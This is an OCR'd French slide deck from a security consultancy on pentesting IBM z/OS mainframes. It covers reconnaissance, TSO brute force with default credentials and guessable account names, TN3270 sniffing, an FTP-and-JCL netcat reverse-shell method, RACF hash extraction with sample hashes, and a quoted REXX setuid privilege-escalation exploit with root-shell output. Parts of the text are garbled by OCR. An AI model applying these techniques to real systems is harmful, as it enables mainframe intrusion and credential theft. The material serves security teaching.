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Quelques rappels

=  7/OS : le systeme d’exploitation de prédilection

Z13 Entreprise Class
souvent rencontré sur les Mainframes ;

89 processeurs a usage général . , o . :
= z/\VM : un systeme d’exploitation en single user qui

89 processeurs fail-over

: . fait offi ‘hyperviseur et gere une ou plusieur
89 processeurs dédiés a Unix et Z/VM ait office d'hyperviseur et gére une ou plusieurs

44 processeurs Java et XML machines virtuelles.

jusqu’a 3To de mémoire = z/TPF : Un systeme d’exploitation orienté gestion

des transactions souvent prisé par les compagnies

aériennes ;
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Quelques rappels

ESM : Composant externe qui assure le contréle d’accées aux ressources ainsi que
I'authentification des utilisateurs (RACF)
La base RACF contient donc entre autres :

» Mots de passe (hachés)

» Certificats

» Profils d’acces appliqués aux ressources

Attributs conférant des privileges sur RACF :
» SPECIAL : ~ root sur le systeme
» OPERATIONS : acces a l'ensemble des datasets (fichiers)
» AUDIT : gestion des traces

TSO . Terminal d’acces au Mainframe (permet I'exécution de commandes)

TN3270 . Telnet a la sauce IBM (terminaux virtuels : x3270, s3270 ou telnet)

OMVS /USS : Unix sur Z

EBCDIC : Charset sur 8 bits utilisé dans le mode Mainframe pour coder les caracteres (A=
X55)
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» 2. Reconnaissance
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Reconnaissance

Scan réseau...trop dangereux ?
Réponse d’IBM :

Systemzserversr'o among he mos! secure servers on he market e mear
res IMTHF ) measured m decades

act e System I »
desngned for up to 99.999% availability with Parallel Sysplex clustering. " hw
3 ot 'u’
1 supDpDhes
remenODus DOwer arg T nV“h[ LS A S Aas” L2k A ..ﬂ\(.,vu-J
QLT ermerity

vOlUME 'AMNSACHON - Orven BDDERCABOMNS A Ohey CrBCE DrOCEeSSeS

Introduction to the new mainframe zOS Basics — page 16

S'’il est possible de rendre indisponible un systeme qui traite 300 000€ de transactions
par jour avec un SYN scan...vulnérabilité il y a.

Nmap pose cependant d’autres types de soucis : écart entre la version renvoyée
et le veritable OS installé :

Contralrement au Z/OS 0OS/390 EST une relique




Reconnaissance

Reéseau

Il est nécessaire de mettre a jour le fichier /usr/share/nmap/nmap-service-probes

Des scripts publics permettent d’automatiser la capture de screenshots
» https://github.com/mainframed/NMAP/blob/master/3270_screen_grab.nse
» https://github.com/singe/mainframe_brute/blob/master/screenshotter.py

data: Mainframe Operating System file:/f/root/main_brute/192.168.10.201.html
[EMost Visited = “Offensive Security '\KaLi Linux '\Kali Docs ﬂExpLoit—DB | Y

Mainframe Operating System

Uiy Z

to DUZA Mainframe System!

tomation
Scheduler

of above commands in red

11/19/15 18:14:17

L'intérét est bien sir 'automatisation sur un large périmétre mais également de
recenser les applications potentiellement accessibles via VTAM
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Reconnaissance

VTAM

VTAM est une interface qui centralise I'accés vers plusieurs applications via le
renseignement d’'un APPLID

La commande IBMTEST permet d’identifier les interfaces VTAM
Les applications proposées peuvent étre également accessibles sur un port déedie

Mainframe Operating System z/05 V1.10 TCPO0B42

- Logon to TSO/ISPR ystem Automation

- I ystem - Workload Scheduler
- IMS Systenm

Enter your choice==

Enter one of above commands in red

four IP| ' ), SNA LU(LCLTOZ )
Eays: FFl-HELP PFT7-BACK PFE-FORW PAS-ROTATE

Outil de bruteforce des APPLIDS :
= https://github.com/sensepost/mainframe_brute
https://github.com/zedsec390/defcon23/tree/master/Network%20Tools/NMAP
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Reconnaissance

Services communs

Services classiques que I'on peut retrouver sur un z/OS :
» HTTP(S)
» SSH
» FTP
» VTAM : une interface qui centralise I'accés vers plusieurs applications.
» 1SO
» MQ : gestionnaire de files d’attente
» CICS : moteur transactionnel
» DB2 : base de données relationnelle
» Divers applications metiers
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» 3. Boite noire
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Boite noire

TSO

TSO est la console d’acces a distance du Mainframe
Compte par défaut : IBMUSER / SYS1

Enter LOGOM parameters below: RACF LOGOM parametfers:
Uzerid ===>» 0LU

Fazszword === Mew FPassword ===
Frocedure ¥ Group Ident ===

gcct Mmbr ==

o s

Ferform

Commaid

T=0-E LOGOM
IKISE4Z201 Userid INCOMMU not authorized to use
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Boite noire

TSO

Le bruteforce du nom d’utilisateur ne déclenche pas de blocage de compte

[REX] Les mots de passe les plus courants
» Login du user ©
» SYSI1 pour les comptes par défaut

Les limites de la politigue de mot de passe
» Les noms d’utilisateurs et mots de passe sont limités a 8 caracteres maximum ;
» La casse n’est pas prise en compte par défaut ;
» L’algorithme de hachage utilisé est basé sur DES ;
» Uniguement trois caracteres spéciaux sont supportés : #, @ et & (dits caracteres nationaux),

» Les regles de politique de mot de passe sont tres limitées : il n’est pas possible d'implémenter
les regles suivantes par exemple : « présence d’au moins 1 chiffre dans le mot de passe», « au
moins 2 caractéres spéciaux », etc.

[REX] Une politique de mot de passe globale est généralement implémentée...un profil peut
cependant y déroger, en particuliers les comptes de backup et de test
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Boite noire

TSO

Idées de comptes a tester (limite fixée a 7 caracteres):
» SYSDEV
» SYSPROG
» RSTAOX
» DEVQUAL
» PRDOPR
» SYSOPR
»  FORMOX
» SECOPO1
» SEC000

Outil d’automatisation de l'attaque de bruteforce : https://github.com/mainframed/psikotik
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Boite noire

TSO

Et bien sdr, Telnet c’est du flux en clair....
Ettercap supporte le protocole TN3270 : https://github.com/Ettercap/ettercap

......... (-3279-4-..0............ RQ.RNEt50..h..a..adefghn-w..aa...& +..

N T .

... ad.

...aebo oL Ll

%..1.C.6.&8af...4112233445566778899, . ... . i ag..011224488. .ah..... = | a
e x3270..aw. ... .. & ..& +.. aN. [ayoub]. "1c. Idsysd] .

Récupération d’'un compte utilisateur et mot de passe

8 décembre 2015 - Propriété de Solucom, reproduction interdite 14



Boite noire

...et le chiffrement dans tout cela

Les émulateurs 3270 supportent pour la plupart le chiffrement SSL, c6té serveur :
Z/OS v1rl3 : ne supporte pas SSLv2 par déefaut
Z/OS v2rl : ne supporte pas SSLv3 par defaut

050435363738392F303132330A1613100D0915120F0C0306020100

When executing in non-FIPS mode, if GSK_V3_CIPHERS is set to GSK_V3_CIPHERS_CHAR4, and a
cipher specification is not set in GSK_V3_CIPHER_SPECS_EXPANDED, then the default cipher
specification is set as follows:

0005000400350036003700380039002F0030003100320033000A0016
00130010000D000S00150012000F000C0O0030006000200010000

RSA SSL_RC4 128 MD5
RSA SSL_RC4 128 SHA1
RSA_SSL_AES 256 _SHA1

Environ la moitié des mainframes exposeés sur Internet proposent du chiffrement
SSL...sauf que les clients 3270 ne verifient pas systématiquement la validité du certificat
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Z dans la nature

Plaass anter your user id; and password
64.113,32.29 ISUEZU MORTH AMERICA NETWORK

Prass Fl for Halp

Welcome to []scorpion

. B vew rasevord NN

http: //mustang.nevada.edu/Security

Mainframesproject.tumblr.com
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Boite noire

Focus TN3270

TN3270 protocole historique s’appuyant sur Telnet pour communiquer avec des
Mainframes sur TCP/IP.

Chaque champ est composé d’un attribut de 8 bits qui gére son état :
= bit 2 : champ protégé
= bit 3 : champ numérique ou alphanumérique
= Dbits 4 et 5 : visibilité du champ
= bit 7 : modification du champ par I'opérateur

— CSS sur 8bits

Nous ne retrouvons peut étre pas de BufferOverflow sur du Cobol mais nous avons
bien toutes les vulnérabilités classiques liées a la validation des inputs coté client :
= Escalade horizontale et verticale
= Contournement de l'authentification
= SQLI
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Boite noire

Proxy TN3270

Big Iron Recon & Pwnage (i.e BIRP) :
= https://github.com/sensepost/birp

Set'n’3270 :
ithub.com/zedsec390/defcon23/tree/master/Network%20Tools/SETn3270

SAGINAW COUNTY PRODUCTION SYSTEM
er Materials (C) Copyright IBM Corp. 2007

853888
w 5888888

Sans interception Avec interception
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Boite noire

FTP

Service FTP classique accessible par défaut sur le port 21...avec une petite touche
IBM :

Introduction
¥ ou probably know that you can use File Transfer Protocol (FTP) to transfer files, but the Z/OS FTP server
is a little different. Not only can it provide standard access to z/0S5 UNIX® System Services files, the server

can also provide the following:

m 7Z/OS datasets

= Job Entry Subsystem (JES) spool datasets

s SCOL result sets

JES : ordonnanceur de JOB
JOB : tache exécutée par le systeme

FTP => exécution de commande a distance sur I'environnement Unix...et zOS

8 décembre 2015 - Propriété de Solucom, reproduction interdite 19



Boite noire

FTP

L'idée est donc la suivante :
= Deéposer un Netcat classique sur OMVS via FTP
= Deéposer un Batch JCL qui exécute le Netcat chargé
= Attendre patiemment son reverse-shell

...sauf que :

= Netcat classique ne marcherait pas car le mainframe communique par défaut en
EBCDIC...

» Open source, fonction de conversion facile a coder

» Le JCL c’est compliqué et les communautés z/OS ne sont pas trés...coopératives
» Copier-coller des bouts de code par-ci par la

LMNAME

MO -&EFEEGIMI MESSA
START OF
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Boite noire

FTP

...0Uu bien

id
uid=31337(CASE) gid=@(SYS1)
1s

nc
pwd

/u/case
./nc -h

https://github.com/mainframed/MainTP/blob/master/MainTP.py
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» 4. Boite grise
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Boite grise

Resource Access Control Facility

Depuis1976

Resource Access Control Facility

Contrble d’acces aux ressources

= Les mots de passe des utilisateurs

= Les droits d’'acces de chaque utilisateur sur chaque ressource :
= Commandes a exécuter
= Fichiers a consulter/écrire

= Attributs des utilisateurs :

= SPECIAL
= OPERATIONS
= AUDITOR

Informations sensibles
= Certificats machines, users, etc.
= Tout autre type de secret
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Boite grise

Resource Access Control Facility

Type Name UACC Orwner im Group/user Privilege level
o 'rr -r i w - -
DATASET | sys1RAcCF.”""| [ nonE | 5Y51 1 - ALTER
DATASET 5¥S1.RACF.”."" NONE Y51 1 ALTER
DATASET | nonE] S¥51 1 ALTER
DATASET SYsSL.UADS NOME S¥sl 1 READ
DATASET S5YsSLUADS NONE 5¥51 1 RE&D
DATASET [ s¥s1vTamLsTo] | nonE | 5¥s1 1 ALTER
Type MName vACC Owner IT | Groupfuser | Privilege level
DATASET G ALTER G1 1 NO ENTRIES
DATASET DV."."" ALTER DV 1 NO EMTRIES
DATASET DVDMA.* ALTER DVDMA 1 NO ENTRIES
DATASET DVECT.=.** ALTER DVECT 1 NO ENTRIES
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Boite grise

RACF...#0pseckFall

Difficile de correctement configurer RACF

= ProtectAll(Warning) : un utilisateur peut créer un dataset sans le protéger via
RACF

= Beaucoup trop de moyens de contourner RACF
» Direct Universal Access Authority (UACC) : acces par déefaut défini a READ
« SYS1.UADS : fournit un moyen alternatif d’authentifier les utilisateurs
=> stocke les mos de passe en clair
« Attribut Operations : permet de contourner les regles RACF

* NoPass, Trusted Attributes : les programmes posseédant ces attributs ne
sont pas soumis a RACF

» Authorized Program Facility : des extensions du noyau z/OS non soumis a
RACF (sur z/OS mais également OMVS)

 SetulD bits dans I'environnement Unix
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Boite grise

Elévation de privilége

Les méthodes classiques sur Unix marchent tres bien :

Recherche de mots de passe sur OMVS avec la commande grep
Recherche de noms de fichiers avec la commande find
Recherche des fichiers setuid et Authorized avec la commande find

Récupération de fichiers sensibles sur z/OS depuis OMVS :
e cp "/I'SOLU.RAW1" /tmp/raw.txt
« cat"/'SOLU.RAW1" | grep <pattern>

Quid pour coder un itérateur REXX sur dataset ? ©

Des outils en REXX pour inspiration :

http://mwww-03.ibm.com/systems/z/os/zos/features/unix/tools/
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Boite grise

RACF

Politique de mots de passe

Les noms d’utilisateurs et mots de passe sont limités a 8 caractéres maximum ;
La casse n’est pas prise en compte par défaut ;
L’algorithme de hachage utilisé est basé sur DES ;

Uniquement trois caracteres spéciaux sont supportés : #, @ et & (dits
caracteres nationaux),

Les regles de politique de mot de passe sont trés limitées : il n'est pas possible
d'implémenter les regles suivantes par exemple : « présence d’au moins 1
chiffre dans le mot de passe», « au moins 2 caractéres spéciaux », etc.

Localisation de la base : RVARY LIST
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Boite grise

RACF...#0pseckFall

MDP SYS1
EBCDIC E2ESE2F1

Xor x55 B7BDB7A4

<<1 16F/B6F48

@ Clé DES

SOLU E2D6D3E4  [> @ [ > SOLU:65E5D994D04AA3EA

User ID EBCDIC Input
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Boite grise

RACF...#0pseckFall

= Extraction des mots de passe via de nombreux outils
«  RACFSNOW
« Bleeding John the Ripper
+ Etc.

= Ces outils effectuent « un carving » des hashs et renvoient donc egalement les
comptes supprimés ou désactives

= Pour avoir une liste a jour des hashs et des comptes, s’appuyer sur 'output de
I'outil z/OS : irrdbu00_unload

SYSADM: $ra-T$*“'"WDM*FH45E11144HFE4EB

TCPIP: $ra- F$*TCPIP*442
WEBADM :$ rac f$*WEBADM*B7E3, :
WEB:P” $ranT$ wEBJP“*’14iB'l’

SOLU - § rac F4+SOL U*65ESDI04DOAAAIBA
AYOUB : $ rac f$*AYOUB*BB54916DA43E5EF3
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Boite grise

Elévation de privilége via des failles publiques

Rapide historique d’'une attaque :

= Cible: Un mainframe en Suede hébergé chez Logica

= Date : février 2012

= Reésultat :

» 8 backdoors

100 000 mots de passe RACF cassés
Les données civiles de millions de suédois récupérées (depuis ~1960)
Code source de I'application de calcul des impdts sur le revenu fuité
....et 2 Zéro-days ©

= CVE-2012-5955 : exécution de code a distance sur WAS 5.x

» CVE 2012-5951 : élévation de privilege locale sur OMVS suite a I'exécution d’'un script
REXX en setuid
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Boite grise

Elévation de privilege via des failles publiques

call syscall 'ON'
if argv.2=="kuku' then do
address syscall 'setuid @'

say "13tz g3t sem3 of d4t reot!gs’

parm.@=2
parm.l=__argv.l
parm.2="kuku'

env.d=1
env.l="_BPC_SHAREAS=NO'

address syscall "spawn fusr/lpp/netview/vSrl/bin/cnmeunix @ . parm. env.’
address syscall "wait wret.'

|+] MARGO time to change your UID
|+] Spawning /tmp/text.rx

[+] File owner UID is: @

[+] Getting new UID

[+] new UID 1s: ©

[+] Executing /bin/sh
# 1d -u

0

https://github.com/mainframed/logica/blob/master/kuku.rx
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